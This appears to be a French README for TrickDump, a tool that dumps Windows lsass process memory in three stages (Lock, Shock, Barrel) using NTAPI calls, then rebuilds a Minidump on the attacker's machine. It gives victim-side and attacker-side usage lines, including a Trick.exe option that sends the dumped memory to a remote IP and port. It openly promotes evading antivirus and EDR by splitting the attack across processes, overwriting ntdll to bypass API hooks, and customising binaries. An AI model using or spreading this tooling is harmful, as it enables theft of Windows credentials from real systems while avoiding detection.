
Dump lsass en utilisant uniquement les fonctions NTAPI, créant 3 fichiers JSON et 1 fichier ZIP... et générer le fichier MiniDump plus tard!
TrickDump vide le processus lsass sans créer de fichier Minidump, générant à la place 3 fichiers JSON et 1 fichier ZIP contenant les vidages des régions mémoire. En trois étapes :
Lock : Obtenir les informations du système d'exploitation à l'aide de RtlGetVersion.
Shock : Obtenir le privilège SeDebugPrivilege avec NtOpenProcessToken et NtAdjustPrivilegeToken, ouvrir un handle avec NtGetNextProcess et NtQueryInformationProcess, puis obtenir les informations des modules à l'aide de NtQueryInformationProcess et NtReadVirtualMemory.
Barrel : Obtenir le privilège SeDebugPrivilege, ouvrir un handle, puis obtenir les informations et vider les régions mémoire à l'aide de NtQueryVirtualMemory et NtReadVirtualMemory.

Dans le système attaquant, utilisez le script create_dump.py pour générer le fichier Minidump :
python3 create_dump.py [-l LOCK_JSON] [-s SHOCK_JSON] [-b BARREL_JSON] [-z BARREL_ZIP] [-o OUTPUT_FILE]
Les avantages de cette technique sont :
Il n'y a jamais de fichier Minidump valide sur le disque, en mémoire ou dans le trafic réseau.
Il n'y a pas un seul programme ou processus qui exécute l'attaque complète, mais trois programmes séparés, ce qui peut déclencher moins d'alarmes.
Les programmes utilisent uniquement des NTAPIS (ce projet est une variante de NativeDump).
Il n'utilise pas OpenProcess ou NtOpenProcess pour obtenir le handle du processus lsass avec les droits d'accès PROCESS_VM_OPERATION et PROCESS_VM_WRITE.
Chaque programme permet d'écraser la section ".text" de la bibliothèque ntdll.dll pour contourner le hooking d'API :
Il est disponible dans différents langages :
Cela ne fonctionnera pas si PPL est activé, si la structure PEB est illisible ou si les binaires ne sont pas compilés en 64 bits. Mise à jour : Il est désormais possible d'exécuter les programmes sans lire le PEB, consultez la branche peb-unreadable :)
La technique fonctionne correctement sur les dernières versions de Windows et a été testée contre les solutions antivirus et EDR courantes, mais la furtivité dépendra de la "variante" que vous choisissez : utilisez des langages peu courants et personnalisez les binaires pour obtenir les meilleurs résultats !
Les programmes sont exécutés sur le système victime, créant trois fichiers JSON (avec les informations des régions mémoire) et un fichier zip (avec le vidage de chaque région mémoire).
Lock.exe [disk/knowndlls/debugproc]
Shock.exe [disk/knowndlls/debugproc]
Barrel.exe [disk/knowndlls/debugproc]
Vous pouvez exécuter les programmes directement sans écraser la bibliothèque ntdll.dll :

Ou utiliser l'une des trois techniques d'écrasement différentes :

Ensuite, le fichier Minidump est généré :

Si vous préférez exécuter un seul binaire, Trick.exe génère un fichier ZIP contenant les 3 fichiers JSON et le fichier ZIP avec les régions mémoire :
Trick.exe [disk/knowndlls/debugproc] [IP_ADDRESS] [PORT]
Vous pouvez créer le fichier ZIP localement, en utilisant éventuellement une méthode d'écrasement de Ntdll :

Ou l'envoyer vers un port distant en utilisant le deuxième et le troisième paramètre comme adresse IP et port :

Dans les deux cas, vous obtenez un fichier ZIP comme celui-ci, décompressez-le et créez le fichier Minidump :
